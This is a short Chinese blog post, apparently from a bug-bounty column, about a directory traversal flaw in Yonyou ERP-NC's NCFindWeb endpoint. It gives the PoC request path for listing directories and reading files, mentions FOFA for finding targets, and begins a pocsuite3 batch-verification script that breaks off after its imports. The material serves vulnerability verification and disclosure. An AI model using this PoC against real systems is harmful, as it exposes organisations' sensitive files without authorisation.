SRC-用友 ERP-NC NCFindWeb 目录遍历漏洞

最新推荐文章于 2024-04-20 23:11:52 发布

zkzq

最新推荐文章于 2024-04-20 23:11:52 发布

阅读量763

点赞数

分类专栏： SRC 文章标签：安全网络 web安全

本文链接：https://blog.csdn.net/hackzkaq/article/details/134250923

版权

本文介绍了用友ERP-NC系统中存在的目录遍历漏洞，攻击者能够通过构造特定URL获取敏感文件。提供了POC验证方法，包括手动验证和使用pocsuite3工具进行批量验证。此外，还提及了安全学习资源，包括技术文档、书籍、面试题和视频教程，以助于提升安全技能。

摘要由CSDN通过智能技术生成

用友ERP-NC 存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息。

fofa：

poc：/NCFindWeb?service=IPreAlertConfigService&filename=
在url处拼接poc后可以看到该站点的目录和文件

访问某个文件
/NCFindWeb?service=IPreAlertConfigService&filename=文件名

编写poc批量验证
这里使用的是pocsuite3的poc模板

# 调用pocsuite的一些API函数
from pocsuite3.api import Output, register_poc, requests, POCBase

# 继承POCBase类
c

关注